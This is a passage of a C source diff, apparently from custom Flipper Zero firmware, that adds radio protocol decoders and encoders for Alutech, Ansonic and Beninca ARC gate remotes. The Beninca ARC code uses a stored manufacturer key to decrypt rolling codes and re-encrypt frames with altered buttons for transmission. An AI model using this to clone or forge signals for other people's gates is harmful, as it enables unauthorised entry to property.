&instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
// push protocol data to global variable
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.cnt_length_bit = 16;
subghz_block_generic_global.current_cnt = instance->generic.cnt;
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 8;
//
furi_string_cat_printf(
output,
"%s\r\n"
"Key:0x%08lX%08lX\nCRC:%02X %dbit\r\n"
"Sn:0x%08lX Btn:0x%01X\r\n"
"Cnt:%04lX\r\n",
instance->generic.protocol_name,
code_found_hi,
code_found_lo,
(uint8_t)instance->crc,
instance->generic.data_count_bit,
instance->generic.serial,
instance->generic.btn,
instance->generic.cnt);
}
@@ -0,0 +1,108 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N"
typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n;
typedef struct SubGhzProtocolEncoderAlutech_at_4n SubGhzProtocolEncoderAlutech_at_4n;
extern const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder;
extern const SubGhzProtocol subghz_protocol_alutech_at_4n;
/**
* Allocate SubGhzProtocolEncoderAlutech_at_4n.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderAlutech_at_4n* pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
*/
void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderAlutech_at_4n.
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
*/
void subghz_protocol_encoder_alutech_at_4n_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_encoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
*/
void subghz_protocol_encoder_alutech_at_4n_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderAlutech_at_4n.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderAlutech_at_4n* pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
*/
void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderAlutech_at_4n.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
*/
void subghz_protocol_decoder_alutech_at_4n_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderAlutech_at_4n.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
*/
void subghz_protocol_decoder_alutech_at_4n_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderAlutech_at_4n.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderAlutech_at_4n.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
* @param output Resulting text
*/
void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output);
@@ -0,0 +1,344 @@
#include "ansonic.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolAnsonic"
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
#define CNT_TO_DIP(dip) \
(dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
(dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
(dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
(dip & 0x0008 ? '1' : '0')
static const SubGhzBlockConst subghz_protocol_ansonic_const = {
.te_short = 555,
.te_long = 1111,
.te_delta = 120,
.min_count_bit_for_found = 12,
};
struct SubGhzProtocolDecoderAnsonic {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderAnsonic {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
AnsonicDecoderStepReset = 0,
AnsonicDecoderStepFoundStartBit,
AnsonicDecoderStepSaveDuration,
AnsonicDecoderStepCheckDuration,
} AnsonicDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder = {
.alloc = subghz_protocol_decoder_ansonic_alloc,
.free = subghz_protocol_decoder_ansonic_free,
.feed = subghz_protocol_decoder_ansonic_feed,
.reset = subghz_protocol_decoder_ansonic_reset,
.get_hash_data = subghz_protocol_decoder_ansonic_get_hash_data,
.serialize = subghz_protocol_decoder_ansonic_serialize,
.deserialize = subghz_protocol_decoder_ansonic_deserialize,
.get_string = subghz_protocol_decoder_ansonic_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder = {
.alloc = subghz_protocol_encoder_ansonic_alloc,
.free = subghz_protocol_encoder_ansonic_free,
.deserialize = subghz_protocol_encoder_ansonic_deserialize,
.stop = subghz_protocol_encoder_ansonic_stop,
.yield = subghz_protocol_encoder_ansonic_yield,
};
const SubGhzProtocol subghz_protocol_ansonic = {
.name = SUBGHZ_PROTOCOL_ANSONIC_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_FM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_ansonic_decoder,
.encoder = &subghz_protocol_ansonic_encoder,
};
void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderAnsonic* instance = malloc(sizeof(SubGhzProtocolEncoderAnsonic));
instance->base.protocol = &subghz_protocol_ansonic;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 52;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_ansonic_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderAnsonic* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderAnsonic instance
* @return true On success
*/
static bool subghz_protocol_encoder_ansonic_get_upload(SubGhzProtocolEncoderAnsonic* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short * 35);
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_long);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderAnsonic* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
res = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_ansonic_const.min_count_bit_for_found);
if(res != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_ansonic_get_upload(instance)) {
res = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return res;
}
void subghz_protocol_encoder_ansonic_stop(void* context) {
SubGhzProtocolEncoderAnsonic* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_ansonic_yield(void* context) {
SubGhzProtocolEncoderAnsonic* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderAnsonic* instance = malloc(sizeof(SubGhzProtocolDecoderAnsonic));
instance->base.protocol = &subghz_protocol_ansonic;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_ansonic_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
free(instance);
}
void subghz_protocol_decoder_ansonic_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
instance->decoder.parser_step = AnsonicDecoderStepReset;
}
void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
switch(instance->decoder.parser_step) {
case AnsonicDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short * 35) <
subghz_protocol_ansonic_const.te_delta * 35)) {
//Found header Ansonic
instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
}
break;
case AnsonicDecoderStepFoundStartBit:
if(!level) {
break;
} else if(
DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
subghz_protocol_ansonic_const.te_delta) {
//Found start bit Ansonic
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = AnsonicDecoderStepReset;
}
break;
case AnsonicDecoderStepSaveDuration:
if(!level) { //save interval
if(duration >= (subghz_protocol_ansonic_const.te_short * 4)) {
instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
if(instance->decoder.decode_count_bit >=
subghz_protocol_ansonic_const.min_count_bit_for_found) {
instance->generic.serial = 0x0;
instance->generic.btn = 0x0;
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
break;
}
instance->decoder.te_last = duration;
instance->decoder.parser_step = AnsonicDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = AnsonicDecoderStepReset;
}
break;
case AnsonicDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_short) <
subghz_protocol_ansonic_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_long) <
subghz_protocol_ansonic_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_long) <
subghz_protocol_ansonic_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
subghz_protocol_ansonic_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
} else
instance->decoder.parser_step = AnsonicDecoderStepReset;
} else {
instance->decoder.parser_step = AnsonicDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_ansonic_check_remote_controller(SubGhzBlockGeneric* instance) {
/*
* 12345678(10) k 9
* AAA => 10101010 1 01 0
*
* 1...10 - DIP
* k- KEY
*/
instance->cnt = instance->data & 0xFFF;
instance->btn = ((instance->data >> 1) & 0x3);
}
uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_ansonic_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderAnsonic* instance = context;
subghz_protocol_ansonic_check_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 2;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%03lX\r\n"
"Btn:%X\r\n"
"DIP:" DIP_PATTERN "\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
instance->generic.btn,
CNT_TO_DIP(instance->generic.cnt));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_ANSONIC_NAME "Ansonic"
typedef struct SubGhzProtocolDecoderAnsonic SubGhzProtocolDecoderAnsonic;
typedef struct SubGhzProtocolEncoderAnsonic SubGhzProtocolEncoderAnsonic;
extern const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder;
extern const SubGhzProtocol subghz_protocol_ansonic;
/**
* Allocate SubGhzProtocolEncoderAnsonic.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderAnsonic* pointer to a SubGhzProtocolEncoderAnsonic instance
*/
void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderAnsonic.
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
*/
void subghz_protocol_encoder_ansonic_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
*/
void subghz_protocol_encoder_ansonic_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_ansonic_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderAnsonic.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderAnsonic* pointer to a SubGhzProtocolDecoderAnsonic instance
*/
void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderAnsonic.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
*/
void subghz_protocol_decoder_ansonic_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderAnsonic.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
*/
void subghz_protocol_decoder_ansonic_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderAnsonic.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return true On success
*/
SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderAnsonic.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
* @param output Resulting text
*/
void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output);
@@ -0,0 +1,3 @@
#pragma once
#include <lib/subghz/protocols/base.h>
@@ -0,0 +1,695 @@
#include "beninca_arc.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include "core/log.h"
#include <stddef.h>
#include <stdint.h>
#include <furi_hal_crypto.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "BenincaARC"
#define BENINCA_ARC_KEY_TYPE 9u
static const SubGhzBlockConst subghz_protocol_beninca_arc_const = {
.te_short = 300,
.te_long = 600,
.te_delta = 155,
.min_count_bit_for_found = 128,
};
typedef enum {
BenincaARCDecoderStart = 0,
BenincaARCDecoderHighLevel,
BenincaARCDecoderLowLevel,
} BenincaARCDecoderState;
struct SubGhzProtocolDecoderBenincaARC {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
SubGhzKeystore* keystore;
};
struct SubGhzProtocolEncoderBenincaARC {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
SubGhzKeystore* keystore;
};
const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder = {
.alloc = subghz_protocol_decoder_beninca_arc_alloc,
.free = subghz_protocol_decoder_beninca_arc_free,
.feed = subghz_protocol_decoder_beninca_arc_feed,
.reset = subghz_protocol_decoder_beninca_arc_reset,
.get_hash_data = subghz_protocol_decoder_beninca_arc_get_hash_data,
.serialize = subghz_protocol_decoder_beninca_arc_serialize,
.deserialize = subghz_protocol_decoder_beninca_arc_deserialize,
.get_string = subghz_protocol_decoder_beninca_arc_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder = {
.alloc = subghz_protocol_encoder_beninca_arc_alloc,
.free = subghz_protocol_encoder_beninca_arc_free,
.deserialize = subghz_protocol_encoder_beninca_arc_deserialize,
.stop = subghz_protocol_encoder_beninca_arc_stop,
.yield = subghz_protocol_encoder_beninca_arc_yield,
};
const SubGhzProtocol subghz_protocol_beninca_arc = {
.name = SUBGHZ_PROTOCOL_BENINCA_ARC_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_beninca_arc_decoder,
.encoder = &subghz_protocol_beninca_arc_encoder,
};
// Get custom button code
static uint8_t subghz_protocol_beninca_arc_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0x02:
btn = 0x04;
break;
case 0x04:
btn = 0x02;
break;
case 0x00:
btn = 0x04;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0x02:
btn = 0x00;
break;
case 0x04:
btn = 0x00;
break;
case 0x00:
btn = 0x02;
break;
default:
break;
}
}
return btn;
}
static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, uint8_t* aes_key) {
uint64_t mfkey = 0;
for
M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
if(manufacture_code->type == BENINCA_ARC_KEY_TYPE) {
mfkey = manufacture_code->key;
break;
}
}
uint32_t derived_lo = (uint32_t)(mfkey & 0xFFFFFFFF);
uint32_t derived_hi = (uint32_t)((mfkey >> 32) & 0xFFFFFFFF);
uint64_t val64_a = ((uint64_t)derived_hi << 32) | derived_lo;
for(uint8_t i = 0; i < 8; i++) {
aes_key[i] = (val64_a >> (56 - i * 8)) & 0xFF;
}
uint32_t new_lo = ((derived_hi >> 24) & 0xFF) | ((derived_hi >> 8) & 0xFF00) |
((derived_hi << 8) & 0xFF0000) | ((derived_hi << 24) & 0xFF000000);
uint32_t new_hi = ((derived_lo >> 24) & 0xFF) | ((derived_lo >> 8) & 0xFF00) |
((derived_lo << 8) & 0xFF0000) | ((derived_lo << 24) & 0xFF000000);
uint64_t val64_b = ((uint64_t)new_hi << 32) | new_lo;
for(uint8_t i = 0; i < 8; i++) {
aes_key[i + 8] = (val64_b >> (56 - i * 8)) & 0xFF;
}
}
static void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
for(uint8_t i = 0; i < len; i++) {
uint8_t byte = data[i];
uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
}
}
static uint64_t
subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
// Beninca ARC Decoder
// 01.2026 - @xMasterX (MMX) & @zero-mega
// Decrypt data
uint8_t encrypted_data[16];
for(uint8_t i = 0; i < 8; i++) {
encrypted_data[i] = (generic->data >> (56 - i * 8)) & 0xFF;
encrypted_data[i + 8] = (generic->data_2 >> (56 - i * 8)) & 0xFF;
}
reverse_bits_in_bytes(encrypted_data, 16);
uint8_t aes_key[16];
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
uint8_t decrypted[16];
furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted);
memcpy(encrypted_data, decrypted, 16);
// Serial number of remote
generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
((uint32_t)encrypted_data[2] << 8) | encrypted_data[3];
// Button code
generic->btn = encrypted_data[4];
// Middle bytes contains mini counter that is increased while button is held
// its value mostly stored in encrypted_data[9] but might be in other bytes as well
// In order to support all variants we read all middle bytes as uint64_t
// In case you have the remote with ARC rolling code please share RAW recording where you hold button for 15+ sec with us to improve this part!
uint64_t middle_bytes = 0;
middle_bytes = ((uint64_t)encrypted_data[5] << 32) | ((uint64_t)encrypted_data[6] << 24) |
((uint64_t)encrypted_data[7] << 16) | ((uint64_t)encrypted_data[8] << 8) |
encrypted_data[9];
// 32-bit counter
generic->cnt = ((uint32_t)encrypted_data[10] << 24) | ((uint32_t)encrypted_data[11] << 16) |
((uint32_t)encrypted_data[12] << 8) | encrypted_data[13];
// Fixed constant value AA 55
generic->seed = ((uint16_t)encrypted_data[14] << 8) | encrypted_data[15];
// Save original button for later use
// if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(generic->btn);
// }
// subghz_custom_btn_set_max(2);
return middle_bytes;
}
static void subghz_protocol_beninca_arc_encrypt(
SubGhzBlockGeneric* generic,
SubGhzKeystore* keystore,
uint64_t middle_bytes) {
// Beninca ARC Encoder
// 01.2026 - @xMasterX (MMX) & @zero-mega
// Encrypt data
uint8_t plaintext[16];
plaintext[0] = (generic->serial >> 24) & 0xFF;
plaintext[1] = (generic->serial >> 16) & 0xFF;
plaintext[2] = (generic->serial >> 8) & 0xFF;
plaintext[3] = generic->serial & 0xFF;
plaintext[4] = generic->btn;
plaintext[5] = (middle_bytes >> 32) & 0xFF;
plaintext[6] = (middle_bytes >> 24) & 0xFF;
plaintext[7] = (middle_bytes >> 16) & 0xFF;
plaintext[8] = (middle_bytes >> 8) & 0xFF;
plaintext[9] = middle_bytes & 0xFF;
plaintext[10] = (generic->cnt >> 24) & 0xFF;
plaintext[11] = (generic->cnt >> 16) & 0xFF;
plaintext[12] = (generic->cnt >> 8) & 0xFF;
plaintext[13] = generic->cnt & 0xFF;
plaintext[14] = (generic->seed >> 8) & 0xFF;
plaintext[15] = generic->seed & 0xFF;
uint8_t aes_key[16];
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
uint8_t encrypted[16];
furi_hal_crypto_aes128_ecb_encrypt(aes_key, plaintext, encrypted);
memcpy(plaintext, encrypted, 16);
reverse_bits_in_bytes(plaintext, 16);
for(uint8_t i = 0; i < 8; i++) {
generic->data = (generic->data << 8) | plaintext[i];
generic->data_2 = (generic->data_2 << 8) | plaintext[i + 8];
}
return;
}
void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolEncoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolEncoderBenincaARC));
instance->base.protocol = &subghz_protocol_beninca_arc;
instance->generic.protocol_name = instance->base.protocol->name;
instance->keystore = subghz_environment_get_keystore(environment);
instance->encoder.repeat = 1;
instance->encoder.size_upload = 800;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_beninca_arc_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderBenincaARC* instance = context;
free(instance->encoder.upload);
free(instance);
}
void subghz_protocol_encoder_beninca_arc_stop(void* context) {
furi_assert(context);
SubGhzProtocolEncoderBenincaARC* instance = context;
instance->encoder.is_running = false;
}
static void subghz_protocol_beninca_arc_encoder_get_upload(
SubGhzProtocolEncoderBenincaARC* instance,
size_t* index) {
furi_assert(instance);
size_t index_local = *index;
// First part of data 64 bits
for(uint8_t i = 64; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
// Send bit 1
instance->encoder.upload[index_local++] =
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
instance->encoder.upload[index_local++] =
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
} else {
// Send bit 0
instance->encoder.upload[index_local++] =
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
instance->encoder.upload[index_local++] =
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
}
}
// Second part of data 64 bits - total 128bits data
for(uint8_t i = 64; i > 0; i--) {
if(bit_read(instance->generic.data_2, i - 1)) {
// Send bit 1
instance->encoder.upload[index_local++] =
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
instance->encoder.upload[index_local++] =
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
} else {
// Send bit 0
instance->encoder.upload[index_local++] =
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
instance->encoder.upload[index_local++] =
